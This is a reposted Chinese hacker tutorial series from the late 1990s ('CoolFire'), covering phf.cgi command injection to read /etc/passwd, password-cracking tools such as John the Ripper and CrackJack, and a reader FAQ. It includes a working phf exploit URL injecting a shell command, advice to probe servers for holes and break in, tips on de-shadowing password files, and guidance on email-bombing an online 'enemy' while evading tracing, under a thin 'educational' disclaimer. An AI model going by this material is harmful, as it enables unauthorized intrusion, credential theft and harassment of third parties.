"配对" 的动作... 所以呢, 下了 ls 指令来找找看到底真的 shadow 是藏在哪里, 当然你可以看的不
网管网 bitsCN_com

只是 /etc 这个目录, 任何目录你都可以看, 当然你可以使用的也不只是 cat 及 ls 这两个指令, 你
可以用更多的指令~~ 那么还有甚么作不到的呢 ??? 我想可能还是有很多哩~~ 因为 phf.cgi 好像只
把你所下的指令丢给 shell 後直接拦下它输出的结果, 也就是如果像是 /bin/passwd userid 这样的
指令就不能用~ 因为它会要等你输入下一个字串~~ 除非先写入一个档案, 然後用来代入 "<".. 嗯..
最近很忙, 没有空作这些无聊事, 不过 phf.cgi 还真的蛮好玩的, 我已经试了好几台机器都可以看到
文件内容及档案, 目录... 当然~ 没有破坏就是了~~

经过这样的说明, 你是不是有些 Idea ?? 还是记起以前有试过其它的机器的 phf.cgi 也可以这样子
玩的 ?? 嗯~ 再连过去玩玩看吧! 发挥一下你的想像力~~ /etc/passwd 很容易就可以得手的喔~~ 对
了~ 不要乱搞政府机关 or 你们的学校啦!!~~
-*-
[Crack 工具介绍] John the Ripper V1.4 [Size:743K]

记得先前一直介绍大家使用 CJack V1.4 来破解密码档, 那是因为它 "够快", 在 Encrypt 的速度及 网管联盟 www.bitsCN.com

比对的速度上实在快了很多, 但是之後由於很多网友的作业环境是在 Windows 95 之下, 所以 Jack
不能跑, 我们就介绍大家使用 John the Ripper V1.1 这个 Passwrod Cracker~ 现在这套 Cracker
出了新的版本了, 经过我们的试用觉得应该好好的为它介绍一番, 原来一直声称速度上比 CJack14
还要快的 John, 经过实际上的测试, 总感觉速度没有 Jack 来得快, 虽然作者声称是因为他们这支
程式是以 486 机器作最佳化的, 在 386 上跑起来会比较慢, 但是旧的 V1.1 实在是比 Jack 还要慢
这也是大家都看得到的事实.

而 1.4 版在 EnCrypt 上实在是下了点功夫, 也对 Win32 版本有了支援, 当你下载解开後会发现里
面有 DOS.ZIP WIN32.ZIP SOURCE.TGZ 这三个档, 分别是在 DOS 下使用的版本, Win95,NT 下使用的
版本及 Unix 下使用的版本, 这时针对你所运用的作业环境作个选择, 将档案解开即可直接使用.

你还要再解开 COMMON.ZIP(共用档) 及 DOC.ZIP(说明档), 经过测试速度上明显提升很多, 但是我不
敢讲它比 Jack 要快多少, 至少在我的 Pentium 133 的机器上跑起来觉得差不多, 也没有谁比较快
谁比较慢的感觉~~ 不过以这样的档案大小 (7xxK) 能同时包含三种作业系统, 实在是不错的选择!! 中国网管联盟 www、bitsCN、com

当然这个程式里面只含了一个小小的字典档供你测试, 想要发挥它最大的效能还是先要有一个不错的
字典档, 但是新的版本中可以让你设定自动产生序数及字串比对(之前的好像也有吧?), 至於如何操
作, 我想他跟 Jack 及前一版本的操作方法相同, 就不用再多作介绍了~~ 以下是它的执行画面:

John the Ripper Version 1.4 Copyright (c) 1996,97 by Solar Designer

Usage: john [flags] [passwd files]
Flags: -pwfile:<file>[,..] specify passwd file(s)
-wordfile:<file> -stdin wordlist mode, read words from <file> or stdin
-rules enable rules for wordlist mode
-incremental[:<mode>] incremental mode [using john.ini entry <mode>]
-single single crack mode
-external:<mode> external mode, using john.ini entry <mode>
-restore[:<file>] restore session [from <file>]
-makechars:<file> make a charset, <file> will be overwritten

-show show cracked passwords
-test perform a benchmark
-users:<login|uid>[,..] crack this (these) user(s) only
54com.cn

-shells:[!]<shell>[,..] crack users with this (these) shell(s) only
-salts:[!]<count> crack salts with at least <count> accounts only
-lamesalts assume plaintext passwords were used as salts
-timeout:<time> abort session after a period of <time> minutes
-list list each word
-beep -quiet beep or don't beep when a password is found
-noname -nohash don't use memory for login names or hash tables
-des -md5 force DES or MD5 mode

有没有看到最後一行? 有 MD5 mode 的支援了哩~~~
嗯.. 介绍完了! 当然! 这支程式我们也传回来了, 你可以在我们的首页找到, 或者你也可以试
者 archie 看看有哪些 ftp site 有, 它的档名是 ucfjohn3.zip ENJOY~

-*-

**** CoolFire FAQ ****

许多东西没有空整理, 但是还是收集了一部分的问答出来, 如果这边有的就不要再来信询问了喔!!

[Q0]我抓了 KOS 但是抓到 1.2MB 左右就停了, 不晓得哪里还可以抓到.
[A0]如果你是想要我们站上 KOS 中的字典档, 那么很报歉, 因为这东西只有本站的 KOS 中有包, 中国网管联盟 www_bitscn_com
在别的地方抓到的 KOS 不含我们这个字典档 (这是我们自己加料过的, 其它程式相同), 这也
是为甚么首页上的 KOS 如此大了~ 如果你所要的是 KOS 的程式, 那么你可以到 www.yahoo.com
这个搜寻引擎中找 "globalkos" 这个字串, 会有很多地下站台的列表, 接著你就可以在这些地
方找一个连线速度较快的主机抓取 KOS 了~~

[Q1]我尝试用 NETTERM 及 LetMeIn 进入自己所建立的乡 统(SCO Unix V).

1. 因为帐号是本人的,所以我将密码放於在字典档第三行内.
2. 在 LetMeIn 中选定我的字典档.
3. 在 NETTERM 中输入我的帐号,然後按输入键.
4. 在 Password 的出现後回到 LetMeIn.
5. 按 Start Break.

6. 当 Delay Time 到了,键盘上的"NumLock"闪过不停,
不过,过了第三行(猜想 ... 很久)也没有反应.老是停在 Password 这个浮标傍.
7. 当再选 LetMeIn 後看见字典档内的字逐一出现於最低的行内.
这好像没有按输入键.

请替我解答,可以么?

还想问问在那里可找到新的 LetMeIn 及 ClayMore 版本

多谢帮忙. 网管网 bitsCN_com

[A1]

1. 连上主机, 待 user: 出现时不用输入你的 user id.
2. 启动 LetMeIn 1.0 选定字典档
3. 在 Setup Keys 中输入你的 User ID 并加上一个 '~' 号(代表 Enter
4. 在 After Keys 中输入 '~' 号, 表示密码输入完也要按 Enter.
5. 按下 Start Break, 在时间倒数完毕前将滑鼠点一下 telnet (Netterm)

程式视窗, 等待自动输入~~~~ :)

ps... 以上.. 更正一下你的操作方式, 并请如果弄懂了 LetMeIn 的操作方式时帮我写一下说明... 因为有太多人的操作都错了~~ 不晓得是不是我的说明写得太差了哩 ??? LetMeIn 及 ClayMore 目前都未出新版本, LetMeIn 2.0 的赶工还在加强中 (有 TCP/IP 部分的支援).

***

[Q2]我 download 了 kabomb3.0，但又怕给查出来...我在网上有一个很嚣张的敌人呢！

[A2]KaBoom 3.0 经测试无法 Fake IP, 所以很可能会被查出来~~~ 不过要看 isp 配不配合抓~~~ 也就是说因为拨接是动态 Ip, 较不容易查出(需透过 ISP)...但是如果是假借它人帐号拨接, 又要看电信局配不配合抓了.

[Q3]那么有没有完全不会被查出的 email bomber 呢？：-）

[A3]Windows 上的 AnonyMailer 就是了~~ 但没有强大的炸人功能~~ 用途为发一般

之匿名信件, 或是你可找 Unix 上的 Bomb Script..在 Unix 上炸... 再不.. 就试装 UpYours 罗~:)

***

[Q4]I can't get the email bomb files except the kabomb..Can you help me solve this problem?

[A4]You can download it from my site. If there's some problem, you can mail me~

***

[Q5] I trust that the GlobalKOS just down ..so I can get the KOS crack files. Can you tell where I can get or put the file in your homepage?

Thanks you for you attention..

[A5]对~ 经过连结测试该 Server 好像已经没有回应了, 目前已将 Global KOS 档案整理好放置於首页上供大家下载, 原先是遵重作者的反应不得放连结的, 现在由於该 Server 停掉了, 所以就将档案放上来罗~ 快抓吧!

***

[Q6]ShaDow 系唔系唔可以解 o 架 !? 有 o 既话用边个程式呀 ? 点样先可以做到呢 ?
[A6]You can use deshadow like program to De-Shadow the shadowed file.
Or you can use 'ypcat ' command to view the shadowed file.
But almost ISP have been fix the hole. Good Luck.

[Q7]我个 ISP 用 SUN/OS , D Sercuity 好劲 o 架 ! 我想睇 D 档案时 , 会出现 54com.cn Permission Denied , 我咪用 More / Less ! 然後用 ftp 想睇 , 用<!cat> 又唔准 ! get file 都唔得 ! 我知 个 Passwd 档摆系边都罗唔到 ! 请问 你又有无办法去罗 个档案啊 !
[A7]SUN OS ?? You should to check that system again and tell me what version is it ? And you should check what ftp deamon and what http deamon and sendmail version. You should check everything about that server and try to found every hole would be in that system. And try to get into the system. After you get in. get more information from that server.

[Q8]我系你度罗 o 左个 Guess Cracking Program ! 不过我都系唔知点样用 ! 我 Upload 晒所有档案上去 ISP Server 度 ! 然後就按 cc -o guess getpwdent.c <-例如 就话我 D 规格错误 ! 搅到我用唔到 !
[A8]some ISP did not support c compiler function. So you should check about it.

[Q9]点样 o 既档案先可以系 SUN / OS 度用嫁 ? 我搅 o 黎搅去都整唔到执行档 ! 咪就系 Guess 个程式罗 !
[A9]Sun OS always use shadow program. And the shadowed file may not found in

/etc directory, And may called '.shadow'. try found it in other directory.

[Q10]Global Kos 个 Server 系咪有问题啊 ? 我上极去都上唔到啊 ! 如果唔介意可唔可以 Attach 个档案俾我啊 ?
[A10]There's a little problem to that server. and i think it have been shut-down a while. So i will be put the program in my home page.

[Q11]Crack Jack 1.4 系唔系可以系 Sun/Os Or Unix 度用 o 架 ? 我有个朋友叫我用 系个 Server 做 Crack Password ! 但系我就唔知点样可以用 DOS o 既 *.exe 档系 SUN/Os OR UNIX 度执行 !
[A11]CJack is running under dos mode. And it could not run under unix mode. So if you want crack some password file. FTP it and put it into a dos OS machine. Run CJack! 当然如果你坚持要在 Unix 系统下跑的话, 还是有这种软体的, 最近新版的 John the Ripper V1.4 就有附 Source Code 可以让你在你的主机

上面 Compiler.... 但前提是你必须要有 c compiler 的权限呀~~ 快找一台机器吧!

***

[Q12]我对 hacker 这门课有些兴趣(虽然我一窍不通:-P).想请教您几个问题:
我使用 " John the Ripper V1.0 " 来 crack 一个名叫 "passwd"的密码档, 中国网管联盟 www_bitscn_com
但是很奇怪的,我执行後,显示了一些字,就跳回 DOS 了.好像根本没有执行 crack 的动作.
您能帮小弟找出原因吗?
画面如下:
C:\Hacker>john -beep -w:123.txt passwd
John the Ripper Version 1.0 Copyright (c) 1996 by Solar Designer
Loaded 0 accounts with 0 different salts
C:\Hacker>
123.txt 是"字典档"(其实是四,五十个 ID); passwd 则是我们的"目标:密码档.
[A12]很正确的指令, 不过 0 accounts with 0 different salts 就有点怪了~~~
据我的判断你的 passwd 档是 shadow 过的档, 没有用~~~~ 所以 John 找不到 "有效的" 资料来判读~~~ 新版的 John 有一个 UnShadow.exe 的档案, 据说可用来组合 shadow 及 passwd 使其还原, 不过前提还是要两个档都抓到, 如果只抓到一个档是没有用的!! 记得上次有个软体声称其注册版可以解 shadow.. 应改也是必需要先抓到 shadow 档吧!~~ 不过这好像没有甚么意义呀~~

[Q13]您听过一个叫: LANWATCH 的软体吗? 我听说它可以:过滤(拦截)Internet 上的封包资料,并可"监视"使用者的一举一动?! 哇!!!太帅了!您有它的相关资料吗?
[A13]No~~ 没玩过~~ 不过你是用拨接上线吗 ??? 那就别想了~~~~:) feedom.net

[Q14]我这里有个 浏览器的 Bomb(用 java 写的).据我自己(太牺牲了...)的测试,不论你是用 Netscape 或 MSIE, 它都会让你的浏览器一直重复开很多个视窗,直到记忆体耗完为止!!! :-P 不知您有无兴趣想要看看?
[A14]我也有个可 FORMAT C: 的 JAVA... 不过没用就是了~~ 哈哈~ 这种东西少玩.... 我宁愿多破几间站台~~~ 嘻::::::: 快把 Java Option 关掉吧! 免得以後看我的 Page 会 Formatting ?? <-- 开玩笑啦~~~

***

[Q15] 感谢您在网页上的资讯造福了我们这些刚入门的新手 ^_^
根据您提供的方法,成功的取得 Linux.xxxxxxx.xxxx.xxx.tw 的 /etc/passwd 并找出 n 个 password ..... 但我在 tknet.tku.edu.tw 却碰了大钉子 ...:(
他们的 /etc/passwd 是 shadows 的, 我猜真正的 password 可能在/etc/master.passwd , 但我没权限读取它 .... 经尝试了您网页提供的 3 个 Unix & Linux 的漏洞仍无效.
不知您有没有方法解决被 shadow 的 passwd....??
提供一个帐号您可进去看 ... login: ****** password: **** (这是淡大的密码格式: 4 位数字) 另,在 bbs 的 security 版有人提出现在的 www cracker 法:
www.xxx.xxx/cgi-bin/phf?Qalias=x%0aless%/20/etc/passwd 问题是出在 phf , 您知不 54ne.com

知道他的意思?
[A15] phf 的漏洞是在於 phf 本身自己的 Bug, 它并不会检查你的 UID, 且它执行了 system()
这个指令, 所以我们就可以利用它来作一些只有 root 才可以作的一些事情, 这是一个很
大的漏洞, 现在很多 ISP 都已经将此漏洞补上了~~~~ 这一篇文章中的说明应该就很清楚
了吧??

**** 後语 ****

** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page 将会完全关闭, 再
也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识", 不要利用它来夺取任何的
"权利", 本首页著重的是教育, 而不是一 的教导攻击的方法, 希望大家对於政府机关
(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP.....:D 谢谢大家的支持~

我们的首页上日前更新後增加一个网友交流板, 这个板的目的是让网友们可以在上面作些
讨论, 如果
你常上我们的首页, 请看一下板上有没有问题是你能够回答的? 如果有也请不吝啬的发言,
造福大家
喔~~ 网友交流板 需要你的支持~~

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的, 不
主张你随
便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又... 如果第三次世
界
网管网 bitsCN.com

大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持), 最严重的情况(如果你真的很讨
厌该主
机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（七）

这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!

写这些文章真的花了蛮多时间的, 我也没办法确定甚么时候可以写好下一篇, 所以没有办法预告, 因为预告不准的话会挨骂的. 以後写 CoohHC 的时间会少很多的, 因为工作越来越多的关系, 希望大家见谅, 如果一两个月才出现一篇的话也不要骂我喔~ 如果你曾经用印表机把这些文章一篇篇的印出来的话, 你就应该知道写这些东西有多辛苦了, 上次在朋友那边看到, 差点吐血!

首页上的网友交流版是一个不错的交流方式, 在 CoolHC 没有写的这段时间大家可以在上面聊一聊自己的破解心得, 这样我也可以少写一些 FAQ, 当然在上面有经验的网友们也可以分享一下你们的经验, 让一些新手快点进入状况, 不会再问一些怪问题~

**** Mail List 订阅 ****

事实上, CoolHC 写到这里已经没有甚么可以多讲的了, 因为有很多东西并不是用技巧来破解, 我们所使用的都是系统的漏洞. 而这些漏洞, 有些由於已经出现了很久, 所以有

些网站也已经更新了这些问题, 你就没有办法得到你所预期的结果了. 除非你能够在他们 Patch 之前先进入, 所以就必需要取得最新的 Bugs 资讯.

在网路上有很多系统安全讨论的 Mail List, 这些 Mail List 讨论的内容大多与各系统的安全性有关, 所以在讨论内容上也都会围绕著新的 Bugs 打转, 如果能够善加的利用这些资讯, 相信你可以在得到新的 Bug 资料时就轻易的拿下很多网站的密码档案.

所以在这一期的内容上, 我们就以如何订阅这些 Mail List 为主题, 让大家能够吸收到这些新的资讯, 这样也不会等到 CoolHC 写好的时候, 大多数的 Bugs 都已经补上了.

[1] 8lgm (Eight Little Green Men)

加入方式: 写一封 E-Mail 到 majordomo@8lgm.org 标题不用填写, 在信件内容的地方填上: subscribe 8lgm-list

54com.cn
[2] Academic Firewalls

加入方式: 写一封 E-Mail 到 majordomo@net.tamu.edu 标题不用填写, 在信件内容的地方填上: SUBSCRIBE Academic-Firewalls

[3] Alert

加入方式: 写一封 E-Mail 到 request-alert@iss.net 标题不用填写, 在信件内容的地方填上: subscribe alert

取消订阅: 写一封 E-Mail 到 request-alert@iss.net 标题不用填写, 在信件内容

的地方填上: unsubscribe alert

讨论主题: Security Product Announcements

Updates to Security Products

New Vulnerabilities found

New Security Frequently Asked Question files.

New Intruder Techniques and Awareness

[4] Best of Security

加入方式: 写一封 E-Mail 到 best-of-security-request@suburbia.net 标题不用

填写, 在信件内容的地方填上: subscribe best-of-security

[5] Bugtraq (CoolFire 推)

加入方式: 写一封 E-Mail 到 LISTSERV@NETSPACE.OR 标题不用填写, 在信件内容的

容的地方填上: SUBSCRIBE BUGTRAQ

讨论主题: Information on Unix related security holes/backdoors (past and present)

Exploit programs, scripts or detailed processes about the above

Patches, workarounds, fixes

Announcements, advisories or warnings

Ideas, future plans or current works dealing with Unix security

Information material regarding vendor contacts and procedures

Individual experiences in dealing with above vendors or security organizations

Incident advisories or informational reporting

[6] COAST Security Archive

加入方式: 写一封 E-Mail 到 coast-request@cs.purdue.edu 标题不用填写, 在信件

内容的地方填上: SUBSCRIBE coast

[7] Computer Privacy Digest (CoolFire 推)

加入方式: 写一封 E-Mail 到 comp-privacy-request@uwm.edu 标题不用填写, 在信件

内容的地方填上: subscribe cpd

http://www.uwm.edu/org/comp-privacy/ (一些旧文章的收集, 蛮有用处的)

Gopher: gopher.cs.uwm.edu. 54com.cn

[8] Computer Underground Digest

加入方式: 写一封 E-Mail 到 CU-DIGEST-REQUEST@WEBER.UCSD.EDU 标题不用填写, 在

信件内容的地方填上: SUB CUDIGEST

新闻论坛: comp.society.cu-digest (USENET)

[9] Cypherpunks

加入方式: 写一封 E-Mail 到 majordomo@toad.com 标题不用填写, 在信件内容的

地方填上: SUBSCRIBE cypherpunks

[10] Cypherpunks Announce

加入方式: 写一封 E-Mail 到 majordomo@toad.com 标题不用填写, 在信件内容的

地方填上: SUBSCRIBE cypherpunks-announce

[11] Euro Firewalls

加入方式: 写一封 E-Mail 到 majordomo@gbnet.net 标题不用填写, 在信件内

容的地方填上: SUBSCRIBE firewalls-uk email-addr

[12] Firewalls

加入方式: 写一封 E-Mail 到 majordomo@greatcircle.com 标题不用填写, 在信件

内容的地方填上: SUBSCRIBE firewalls

[13] Intrusion Detection Systems

加入方式: 写一封 E-Mail 到 majordomo@uow.edu.au 标题不用填写, 在信件内容

的地方填上: subscribe ids

讨论主题: techniques used to detect intruders in computer systems and computer networks

audit collection/filtering

subject profiling

knowledge based expert systems

fuzzy logic systems

neural networks

methods used by intruders (known intrusion scenarios)

cert advisories

scripts and tools used by hackers

computer system policies

universal intrusion detection system

[14] NT Security

加入方式: 写一封 E-Mail 到 request-ntsecurity@iss.net 标题不用填写, 在信件内容的地方填上: subscribe ntsecurity

取消订阅: 写一封 E-Mail 到 request-ntsecurity@iss.net 标题不用填写, 在信件内容的地方填上: unsubscribe ntsecurity

[15] WWW Security

加入方式: 写一封 E-Mail 到 www-security-request@nsmx.rutgers.edu 标题不用填写, 在信件内容的地方填上: SUBSCRIBE www-security email_address

(上面的 email_address 填你自己的 E-Mail) 中国网管联盟 www_bitscn_com

[16] Linux Security

加入方式: 写一封 E-Mail 到 majordomo@linux.nrao.edu 标题不用填写, 在信件内容的地方填上: SUBSCRIBE linux-security your-name

(上面的 your-name 填你自己的名字, 最好填英文的, 怕他们看不懂)

[17] Linux Security Alert

加入方式: 写一封 E-Mail 到 majordomo@linux.nrao.edu 标题不用填写, 在信件

内容的地方填上: SUBSCRIBE linux-alert your-name

(上面的 your-name 填你自己的名字, 最好填英文的, 怕他们看不懂)

[18] Sun Security Alert

加入方式: 写一封 E-Mail 到 security-alert@sun.com 标题不用填写, 在信件内

容的地方填上: SUBSCRIBE CWS email-addr

(上面的 email-addr 填你自己 E-Mail)

上面我林林总总列出了 18 个 MailList, 请针对你喜欢的来订阅, 当然也可以全部订

阅, 日後觉得不需要哪一些的时候再取消掉, 在 MailList 上发信请注意 MailList 的

使用礼节及一些发信上应该注意的问题, 这些在订阅後自然会有说明寄给你. MailList

上有些会有存放 FAQ 的地方, 也请各位先看一看这些 FAQ 再发问. 嗯, 以後大家就要

靠自己罗, 若有新发现也别忘了来封信告诉我!!!!

**** Crack 工具 ****

[JackAss V1.1]

许多网友最喜欢的就是这一篇了, 所以这一篇好像是少不了的, 但是软体更新的速度事实上可能没有我们的文章快. 上次介绍的 John the Ripper 1.3 大家用了觉得如何??? 有没有甚么大问题呢? 应该还不错吧! 这次要介绍的是 JackAss V1.1 是我刚在国外网页上抓回来的, 也不知道出现了多久, 看一下档案日期是 4-09-96, 好像已经出来很久了, 都没有注意到它的存在.

一般我们以 CJack 来破解密码档案的时候, CJack 是以呼叫字典档, 然後逐字加密再进行比对的方式来作解码的动作, 所以并不是所有的密码都找得到, 所以就有人想出以暴力的方式来解码, 前题是机器够快, 然後时间够多, 才能避免浪费掉很多系统的时间. CJack 在设计的理念上就是这样, 所以基本上还是略显不足, 所以才会有很多的辅助工具出现, 像先前几篇我们所介绍的 KOS 就是一个例子.

JackAss 基本上是一个辅助 Jack 的工具, 跟 KOS 一样, 需要有 CJack 才能够执行,

他的英文注解是: Add On For CrackJack, 与 KOS 不同之处是: KOS 对 CJack 的不足处作了补强, 让 CJack 可以跑出一些大小写数字混合的密码, 而 JackAss 则是一个完全不同的方式, 他不需要使用任何的字典档, 因为它本身就是一个字典档产生器. 当你使用 JackAss 来作为 CJack 的前导, 执行 JackAss 之後他会依照你的选项来制造出字典档, 然後再呼叫 CJack 来跑这些字.

试了一下 JackAss 似乎功能上不怎么样, 有点类似国内上次出现的那支密码破解程式, 不过速度上倒是比较快, 如果你是要用暴力法来破解, 又有几台不错的机器, 你可以试

著在不同的机器上跑, 这样速度会快一点, 如果单用一台机器要跑暴力法, 可能就很累了. 当然, 如果你可以只跑单一 User 的话, 速度会快一点, 所以我建议拿 JackAss 来跑 root 的部份, 其它的用 GlobalKOS 来跑字典法就行了~~ 不要那么累!

之前在 tw.comp.security 看到有几位网友在讨论解码的文章, 其中有一位网友的观点跟我的有点相像, 他的说法是: 将所有的字典档先编码, 存成一个大型的资料库, 当你抓回密码档的时候, 直接用密码档来作逐行的比对, 这样速度上会快一点, 因为省去了 网管联盟 www.bitsCN.com
编码的时间. 如果有人要作这样的程式的话, 我想应该要有一个不小的硬碟, 用来储存这个完成後颇大的资料库, 然後查询方面最好是用 SQL 来作查询, 速度上应该会快一点因为在其它的查询方法上, 如果资料库非常庞大, 可以系统跑起来会像当机一般吧?? 再者机器的速度应该也要够快, 最好呢, 能够写出一个 CGI 来 Call 这支程式, 让大家可以在网页上丢出 passwd 档来查询, 再将查询完的结果寄回电子邮件信箱中. 这看起来好像有点神话, 其实这很容易作到的, 只是没有人真的这样作, 是吗?? 目前还没预估过这样作所须要的主机配备, 大家有空的时候帮忙想一想吧??

[WordList V1.0]

这个程式是一支字典档产生器, 他能产生五个字的字典档, 就是排列组合啦~ 也没有用甚么特殊的方法, 使用他来产生字典可以产生一个相当大的字典, 不过速度上相当的慢就是了, 这种程式所产生的字典有点暴力, 因为他跟本不依照字典的方式来产生, 但是所产生的字也就相当的可观, 不过只要密马是五个字的, 都一定逃不过~ 属於暴力法的一种. 速度慢? 慢到甚么程度呢? 你亲自的试一下就知道了, 我跑到一半就把它停掉了, 中国网管联盟 www、bitsCN、com

不晓得是用甚么语言写的, 还 For Win 3.x/95, 纯 DOS 下无法执行. 除了速度慢的缺点之外, 这支程式所跑出来的字典档是五个字的, 我觉得真对五个字的密码来作解码是有点暴力, 不过大家应该把自己的密码弄长一点, 因为之前我破解的一组密码, 居然有人用一个英文字元来当密码, 系统管理人员应该将密码设定最少四个字元, 这样密码才不容易被人盗用, 不然就将系统安全作得好一点, 不要让人轻易的拿到 passwd 档.

>> 这些档案你都可以在我们的首页中抓到!

**** 新旧短闻 ****

UpYours 4 好像还没有正式版本的消息, 不过最近 Beta3 已经推出了, 但是在 OTRiCS 所得到的消息, GlobalKos 决定放弃 UpYours 这个专案, 也就是说以後可能没有这套软体可以用了. 也没有错啦, 最近的 Mail Server 跟 Server 间的传输是要经过认证的, Mail Bomb 也对许多人造成了困扰, 甚至干扰到网路正常的运作, 认证之後可能会发生你的匿名 Mail 无法真的匿名的问题, 劝大家还是少用吧! 有机会我会将可能是最後一个版本的 UpYours Beta 3 放在首页上让大家留念, 上面这个消息还没有得到 GlobalKOS
54com.cn

这个 Group 的证实就是了.

详细的状况大家可以到: http://www.otrics.com/hackr1.html 翻翻看! 记得看仔细一点喔, 因为有很多的资讯, 这边都有连结点啦~~

GlobalKOS 的站台在几个月前不明原因 "消失" 了, 有人可能还没有见过就连不上了, 我

找到了一个以前的 Mirror 点, 在上面也可以下载 KOS 及 UpYours, 有兴趣的网友可以连到: http://www.wilter.com/ehack/files/misc/koskrack.html 瞧瞧~

使用 Windows 95 及 Windows NT 的网友, 应该已经被 Out-Of-Band 烦死了吧? 这个系统的漏洞真的是害了许多人, 微软也还没有为这个事件发表甚么意见, 不过 for 95 的 Patch 已经出来了, Windows NT 的使用者也可以赶紧下载 Service Pack 3 来补一补!! 不然很可能下一秒钟被 ReBoot 的就是你的系统.

**** 首页统计 ****

我们的首页感谢大家的支持, 现在人数 20427 人次? 经过 Web Count 的追踪, 每天的平均上站人次是: 274 人次, 至於上站的[时间/人数]对照如下表:

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ 54com.cn

| 时| 00| 01| 02| 03| 04| 05| 06| 07| 08| 09| 10| 11|

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 人| 13| 13| 11| 8| 5| 5| 5| 5| 8| 9| 10| 11|

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 时| 12| 13| 14| 15| 16| 17| 18| 19| 20| 21| 22| 23|

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 人| 12| 12| 10| 11| 11| 12| 11| 11| 12| 12| 13| 13|

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

塞车时段: 22~01 疏通时段:04~07

+-----+-----+-----+-----+-----+-----+-----+

| SUN | MON | TUE | WED | THU | FRI | SAT |

+-----+-----+-----+-----+-----+-----+-----+

| 271 | 249 | 236 | 254 | 223 | 247 | 254 |

+-----+-----+-----+-----+-----+-----+-----+

感觉上都差不多，星期天是多了一点

作这个统计，可以让大家在上站的时候，挑选比较好上站的时间，这样才不会浪费你宝

贵的时间在等待资料的传输，这些资讯你也可以在首页上点选 Web Story 按钮看到，feedom.net

每个小时会更新一次，请多多利用!

-*

**** CoolFAQ ****

[Q0]

我自己有一个 Home Page，我要如何在我的 Home Page 上连结你的首页呢???

[A0]

我们的首页连结图片放在:

http://www.showtower.com.tw/~fetag/fetag.gif

首页连结, 请连结到:

http://www.showtower.com.tw/~fetag/Hack.htm

所以你只要在你的 HTML 档中加上底下这一行就可以了:

<img src=http://www.showtower.com.tw/~fetag/fetag.gif alt="飞鹰工作室">

[Q1]

我一进去的目录是"/",我用 ls 指令後都没有看到资料夹,有没有可能是把/etc/passwd 隐

藏了呢?我进去时先出来的画面: 220 flag12 Microsoft FTP service (Verision2.0)

我又用了 anonymous.ftp.这两个 username 进去,也成功了而且目录也都一样,那有没有可

能 passwd 不放在这里?

[A1] 54ne.com

因为一般我们在找 password 档的时候, 我们测试(实作)的 Server 都是使用 Unix 的 Server

来作, 所以我会写是 /etc/passwd, 照你这个情况看来, 你进入的 FTP Server 应该是 Window

NT 的系统(我也没有把握能够确定这件事), 如果是这样的状况的话, 一般的 WinNT

系统是不会有 /etc 这个目录的, 自然也就无法用 ls 指令看到了!

[Q2]

我觉得知道某人的 IP 又能怎样呢? 现在 ISP 都是使用不固定的 IP 呀? 若你说有纪录呀?

可是像我使用非自己的或是免费的呢?像我的网页就有告诉人家免费上网(中研院提供的)

查到 IP 也没用呀?为何还需要用 E-mail bomb 的隐密 IP 呢?我实在想不通, 可以告诉我吗?

[A2]

对呀!! 但是如果该主机可以查出该 IP 的确实上线时间 (有 Log 档可查)另外也可以再经由电信系统查甚么时候拨到哪支电话的电话号码, 循线就可以逮到你了~ 但是现在电信局不太管这样的事, 不过如果你犯了很大的错, 有检察官要求他们查, 你说查不查得到 ????? IP 固不固定又很重要吗 ??? 还是能 Fake IP 是最好的~~ 把 Ping 关掉?? 呵呵~~ 想通吧!

[Q3]
中国网管联盟 www.bitscn.com

1.I can't download KeyPro Emu'. I think the location is wrong. Can you send it to me?

2.嗨...,UpYours3 还是传不下来...能否告诉我其他地方哪里有? or 用别的方法寄来? (真的!没骗你,我每次下载到 1.xMB 时,就会卡住,都不动了...)

3.I can not download kos.zip by FTP. Can you use UUDECODE to past the kos.zip to me ?

[A3]

有很多网友在传档案的时候都会发生这种状况, 由於我的 ISP 日前将 DNS Server 及 Http Server 作了一些调整, 有些档案好像没有搬好的样子, 目录底下遗失了一些档案, 自然各位也就没有办法抓到了, 不过有很多档案可以在 File Mirror Site 抓到, 目前我们有热心的网友提供了 ftp.cads.com.tw/pub/security 这个位址供本站 Mirror 一些档案, 我也将一些较大, 大家比较不容易抓下来的档案都放了一份在上面, 所以不管是甚么档案, 如果有抓不下来, 或是系统告诉你有连结错误的, 你都可以到这个 FTP

抓取, 不过该主机对 Anonymous 设限, 一次最多只能有 5 的使用者同时上线抓档, 如果有连不上的, 就请你找个比较不塞车的时间再上去抓抓看! 我们没有办法提供 E-Mail feedom.net

送档的服务, 虽然之前有帮几位网友送档, 但是现在有了 ftp 让各位自己抓取, 我们也就不浪费网路的频宽及时间了.

[Q4]

我已经申请了 cyberspace 的帐号,请问要从那一个画面连上 cyberspace,然後再去 crack?

如果我用 ftp or telnet 进入了系统,那我的 IP 位址和我所做的任何动作会不会在那里留下任何线索?

[A4]

我想你们都误会了我的意思, 不是说你 Login 进入 Cyberspace 再 Login 到别的站台, 别人就只会查到你在 Cyberspace 的帐号, 事实上当你 Login 进 Cyberspace 时, 也已经暴露了你目前的 IP, 因为你 Login 的时候 Cyberspace 也会询问你的 IP.

[Q5]

1.你的站为什么关了?

2.I can't download Cracker Jack,KOS and other files,why?

This is the error message when I download "Cracker Jack 1.4":

Error 404

Not found - file doesn't exist or is read protected even tried multi

CERN httpd 3.0

3.When i join your Homepag, i receive the error:

